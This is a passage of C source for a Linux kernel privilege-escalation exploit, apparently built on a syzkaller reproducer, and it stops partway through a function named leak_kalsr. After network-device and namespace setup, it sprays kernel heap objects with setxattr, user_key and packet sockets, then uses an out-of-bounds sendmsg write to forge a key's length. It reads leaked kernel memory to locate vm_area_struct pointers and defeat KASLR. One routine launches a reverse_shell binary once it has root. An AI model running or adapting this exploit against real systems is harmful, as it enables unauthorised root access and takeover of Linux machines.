netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}
static void loop();
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int real_uid;
static int real_gid;
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];
static int namespace_sandbox_proc(void* arg)
{
write_file("/proc/self/setgroups", "deny");
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
exit(1);
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
exit(1);
initialize_netdevices_init();
if (unshare(CLONE_NEWNET))
exit(1);
initialize_netdevices();
loop();
exit(1);
}
static int do_sandbox_namespace(void)
{
setup_common();
real_uid = getuid();
real_gid = getgid();
mprotect(sandbox_stack, 4096, PROT_NONE);
int pid =
clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
CLONE_NEWUSER | CLONE_NEWPID, 0);
return wait_for_loop(pid);
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
struct fork_args {
int n;
unsigned int time;
};
void fork_spary_n(int n, unsigned int time, int debug){
int i;
int pid ;
for(i = 0;i < n;i++){
pid = fork();
if(pid ==0){
ioctl(-1, 0x37778, &debug);
sleep(time);
if(getuid() == 0){
fprintf(stderr, "[+] now get r00t\n" );
system("id");
system("/home/p4nda/Desktop/reverse_shell");
} else{
pause();
}
}
}
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
void initialise_shared(shared_data **data)
{
// place our shared data in shared memory
int prot = PROT_READ | PROT_WRITE;
int flags = MAP_SHARED | MAP_ANONYMOUS;
*data = mmap(NULL, sizeof(shared_data), prot, flags, -1, 0);
if (*data == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("initialise_shared map %lx", *data);
#endif
(*data)->done = 0;
// initialise mutex so it works properly in shared memory
pthread_mutexattr_t attr;
pthread_mutexattr_init(&attr);
pthread_mutexattr_setpshared(&attr, PTHREAD_PROCESS_SHARED);
pthread_mutex_init(&(*data)->mutex, &attr);
for (int i=0; i<=N_PROCS; i++)
pthread_mutex_init(&(*data)->proc_mutex[i], &attr);
}
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void send_xattr_debug(void *arg)
{
char name[256];
void *addr = ((struct spray_argv *)arg)->addr;
int size = ((struct spray_argv *)arg)->size;
pthread_mutex_lock(&spray_lock->mutex);
spray_lock->done++;
pthread_mutex_unlock(&spray_lock->mutex);
#ifdef DEBUG
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD | PRINT_XATTR);
ioctl(-1, 0x37778, &debug);
#endif
syscall(__NR_setxattr, "./", "exp", addr, size, 0);
}
void spray_4k_thread(int size, int n)
{
pthread_t *thr = malloc(sizeof(pthread_t));
struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv));
arg->addr = fuse_mem_addr;
arg->size = size;
pthread_mutex_lock(&spray_lock->mutex);
for (int j=0; j<n; j++) {
hang_threads->done++;
pthread_create(thr, NULL, send_xattr_debug, (void *) arg);
}
}
void release_spray_4k_lock(int limit) {
pthread_mutex_unlock(&spray_lock->mutex);
while (spray_lock->done < limit)
usleep(10000);
spray_lock->done = 0;
}
int *spray_user_key(int n, int size, int base)
{
int payload_size = size - sizeof(struct fake_user_key_payload);
int *fd = malloc(n * sizeof(int));
void *addr = malloc(0x30000);
char *buf = addr;
char *name = (uint64_t)addr + 0x20000;
memcpy((void*)name, "user\000", 5);
for (int i = 0; i < n; i++) {
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2);
memset(buf, 0x41, payload_size);
char *des = (uint64_t)addr + 0x10000ul;
sprintf((void*)des, "syz%d\x00", base*n+i);
#ifdef DEBUG
printf("add key %d\n", base);
#endif
fd[i] = syscall(__NR_add_key, name, des, buf, payload_size, -1);
if (fd[i] < 0) {
perror("add_key failed\n");
pause();
}
}
return fd;
}
void init_fuse_mem(char *fuse_path, void **fuse_addr, void *base, int size)
{
fuse_fd = open(fuse_path, O_RDWR);
if (fuse_fd < 0) {
perror("open fuse failed\n");
exit(1);
}
if (base == NULL)
*fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE,
MAP_SHARED, fuse_fd, 0);
else
*fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED, fuse_fd, 0);
if (*fuse_addr == MAP_FAILED) {
perror("mmap failed\n");
exit(1);
}
#ifdef DEBUG
printf("mmap-> 0x%llx\n", *fuse_addr);
#endif
}
void send_xattr(void *arg)
{
void *addr = ((struct spray_argv *)arg)->addr;
int size = ((struct spray_argv *)arg)->size;
pthread_mutex_lock(&spray_lock->mutex);
spray_lock->done++;
pthread_mutex_unlock(&spray_lock->mutex);
syscall(__NR_setxattr, "./", "exp", addr, size, 0);
}
void spray_4k(int n, int size) {
if (fuse_mem_addr == NULL)
perror("fuse_mem_addr is NULL");
initialise_shared(&spray_lock);
for (int k=0; k<n; k++) {
if (fork() == 0) {
for (int i=0; i<SLAB_4k_OBJS_PER_SLAB; i++) {
pthread_t thr;
struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv));
arg->addr = fuse_mem_addr;
arg->size = size;
hang_threads->done++;
pthread_create(&thr, NULL, send_xattr, (void *) arg);
}
pause();
}
}
while(spray_lock->done < n * SLAB_4k_OBJS_PER_SLAB-1) {
usleep(10000);
}
spray_lock->done = 0;
}
void oob_write(char *payload, int size, int oob_page, int fd1, int fd2) {
struct msghdr msg;
struct iovec iov;
char *addr = NULL;
memset(&iov, 0, sizeof(iov));
memset(&msg, 0, sizeof(msg));
for (int i = 0; i < 8; i++) {
memset((void*)0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES, 0x41+i, 4096);
}
for (int i=8; i<=oob_page; i++) {
addr = 0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES;
memset(addr, 0x0, 4096);
memcpy(addr, payload, size);
}
iov.iov_base = (void*)0x20000000;
iov.iov_len = oob_page*PAGE_SIZE + LAST_PAGE_GAP_BYTES + size;
msg.msg_name = 0x0;
msg.msg_namelen = 0x0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = 0;
msg.msg_controllen = 0;
msg.msg_flags = 0;
if (fd1 != -1)
close(fd1);
if (fd2 != -1)
close(fd2);
syscall(__NR_sendmsg, r[1], &msg, 0ul);
}
struct vm_area_struct {
uint64_t vm_start;
uint64_t vm_end;
void * vm_next;
void * vm_prev;
void * vm_rb[3];
uint64_t rb_subtree_gap;
void * vm_mm;
uint64_t vm_page_prot;
long unsigned int vm_flags;
void * garbage[6];
void * anon_vma;
void * vm_ops;
long unsigned int vm_pgoff;
void * vm_file;
void * vm_private_data;
long unsigned int swap_readahead_info;
void * vm_policy;
uint64_t vm_userfaultfd_ctx;
} __attribute__((__aligned__(8)));
struct file {
void* f_u[2] __attribute__((__aligned__(8)));
void* f_path[2];
void* f_inode;
void* f_op;
uint32_t f_lock;
uint32_t f_write_hint;
uint64_t f_count;
unsigned int f_flags;
uint32_t f_mode;
uint64_t f_pos_lock[4];
uint64_t f_pos;
uint64_t f_owner[4];
void* f_cred;
uint64_t f_ra[4];
uint64_t f_version;
void* f_security;
void* private_data;
void* f_ep;
void* f_mapping;
uint32_t f_wb_err;
uint32_t f_sb_err;
} __attribute__((__aligned__(8)));
void HexDump(const void* data, size_t size)
{
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
bool leak_kalsr() {
int fd1, fd2, fd3, fd_vul[N_PROCS], fd_t1, fd_t2;
int num_keys = 20000 / SIZE_OF_USER_KEY_PAYLOAD;
int *key_fd;
char *leak_buf;
// consume kmalloc-4k slabs in order to make `user_key_payload` allocate new slab from buddy allocator
spray_4k(0x50, SIZE_OF_USER_KEY_PAYLOAD);
printf("[+] spraying 4k objects\n");
initialise_shared(&two_loop);
for (int i=0; i<=N_PROCS; i++)
pthread_mutex_lock(&two_loop->proc_mutex[i]);
int id = N_PROCS;
for (int i=0; i<N_PROCS; i++) {
if (fork()==0) {
id = i;
pthread_mutex_lock(&two_loop->proc_mutex[id]);
break;
}
if (i==N_PROCS-1) {
// hang main proc
pthread_mutex_unlock(&two_loop->proc_mutex[0]);
pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]);
}
}
#ifdef DEBUG
printf("id %d started\n", id);
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD);
ioctl(-1, 0x37778, &debug);
#endif
//pagealloc_pad(0x500, 0x8000);
//sleep(1);
fd_vul[0] = pagealloc_pad(1, 0x8000);
// reserve order 3 pages for target obj1 (user_key_payload)
fd_t1 = pagealloc_pad(1, 0x8000);
// reserve order 3 pages for target obj2 (msg_msg)
fd_t2 = pagealloc_pad(1, 0x8000);
// arrange target obj1 (user_key_payload) to memory 3 (fd3)
//spray_4k(1, SIZE_OF_USER_KEY_PAYLOAD);
spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1);
close(fd_t1);
key_fd = spray_user_key(1, SIZE_OF_USER_KEY_PAYLOAD, id);
spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1);
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2);
// arrange target obj2 (msg_msg) to memory 4 (fd4)
//pagealloc_pad(20, 0x8000);
close(fd_t2);
//printf("[+] Spraying msg with segments\n");
//msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1);
/*for (int fork_idx = 0; fork_idx < 6; fork_idx++) {
int pid = fork();
if (pid == 0) {
sleep(100);
printf("Child fork finished at idx `%d`!\n", fork_idx);
exit(0);
}
}*/
// put the files close
int files[50];
for (int i = 0; i < 50; i++)
{
files[i] = open("/etc/passwd", O_RDONLY);
}
close(files[49]);
close(files[48]);
void* mapped[3000];
int fd = open("/etc/passwd", O_RDONLY);
int fd_poc = open("/home/rooter/Desktop/poc.c", O_RDWR);
for (int i = 0; i < 3000; i++) {
if (i % 4 ==0)
mapped[i] = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
else
mapped[i] = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd_poc, 0);
}
#ifdef DEBUG
printf("id %d finished\n", id);
#endif
if (id < N_PROCS) {
pthread_mutex_unlock(&two_loop->proc_mutex[id+1]);
pthread_mutex_lock(&two_loop->proc_mutex[id]);
} else {
for (int i=0; i<N_PROCS; i++)
pthread_mutex_unlock(&two_loop->proc_mutex[i]);
}
close(fd_vul[0]);
if (id == N_PROCS) {
printf("start oob write\n");
struct fake_user_key_payload *fake_key = (struct fake_user_key_payload *)malloc(sizeof(struct fake_user_key_payload)+8);
memset(fake_key, 0, sizeof(*fake_key));
fake_key->next = 0;
fake_key->callback = 0;
fake_key->datalen = 0x8000;
memset(fake_key+sizeof(struct fake_user_key_payload), 0x0, 0x8);
oob_write(fake_key, sizeof(*fake_key)+8, OOB_PAGE, -1, -1);
free(fake_key);
for (int i=0; i<=N_PROCS; i++)
pthread_mutex_unlock(&two_loop->proc_mutex[i]);
}
pthread_mutex_lock(&two_loop->proc_mutex[id]);
leak_buf = malloc(0x8000);
memset(leak_buf, 0x43, 0x8000);
if (syscall(__NR_keyctl, KEYCTL_READ, key_fd[0], leak_buf, 0x8000, 0) == -1) {
perror("keyctl failed");
}
int num_found = 0;
uint64_t page_address[3] = {0,0,0};
uint64_t page_address_counts[3] = {0,0,0};
int STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT = 160, STRUCTS_PER_PAGE = 20;
int first_found_vm_area_offset = 0, dummy_vm_idx = -1, passwd_vm_idx = -1;
// =========== INIT VARIABLES ============
num_found = 0; passwd_vm_idx = -1;
first_found_vm_area_offset = 0; dummy_vm_idx = -1;
memset(&page_address_counts,0,3*sizeof(uint64_t));
memset(&page_address,0,3*sizeof(uint64_t));
if (*(uint64_t*)(leak_buf+0x7100) != 0x4343434343434343) {
for (int page = 0; page < 8; page++) {
for (int j=0; j<0x1000; j++) {
struct vm_area_struct *vm = (struct vm_area_struct*)(leak_buf+j+(page*0x1000));
if (vm->vm_start > 0 && vm->vm_end > 0 && vm->vm_end - vm->vm_start == 0x1000 && vm->vm_file != 0) {
printf("\n============ VM FOUND ============\n\tvm_start=%llx\n\tvm_end=%llx,\n\tvm_page_prot=%llx\n"
"\tvm_file=%llx\n\tvm_next=%llx\n\tvm_prev=%llx\n\tpage index = %d\n==============================\n",
vm->vm_start,vm->vm_end,vm->vm_page_prot,vm->vm_file,vm->vm_next,vm->vm_prev,page);
uint64_t vm_next = (uint64_t)(vm->vm_next) & 0xFFFFFFFFFFFFF000ul;
uint64_t vm_prev = (uint64_t)(vm->vm_prev) & 0xFFFFFFFFFFFFF000ul;
if (page_address[0] == 0 || page_address[0] == vm_next) {
page_address[0] = vm_next;
page_address_counts[0]++;
} else if (page_address[1] == 0 || page_address[1] == vm_next) {
page_address[1] = vm_next;
page_address_counts[1]++;
} else if (page_address[2] == 0 || page_address[2] == vm_next) {
page_address[2] = vm_next;
page_address_counts[2]++;
} else if (page_address[0] == 0 || page_address[0] == vm_prev) {
page_address[0] = vm_prev;
page_address_counts[0]++;
} else if (page_address[1] == 0 || page_address[1] == vm_prev) {
page_address[1] = vm_prev;
page_address_counts[1]++;
} else if (page_address[2] == 0 || page_address[2] == vm_prev) {
page_address[2] = vm_prev;
page_address_counts[2]++;
}
num_found++;
if (num_found == STRUCTS_PER_PAGE) break;
}
}
if (num_found == STRUCTS_PER_PAGE) break;
}
}
if (num_found == 0) {
pause();
}
void* leaked_page_address = 0;
int maxval = 0;
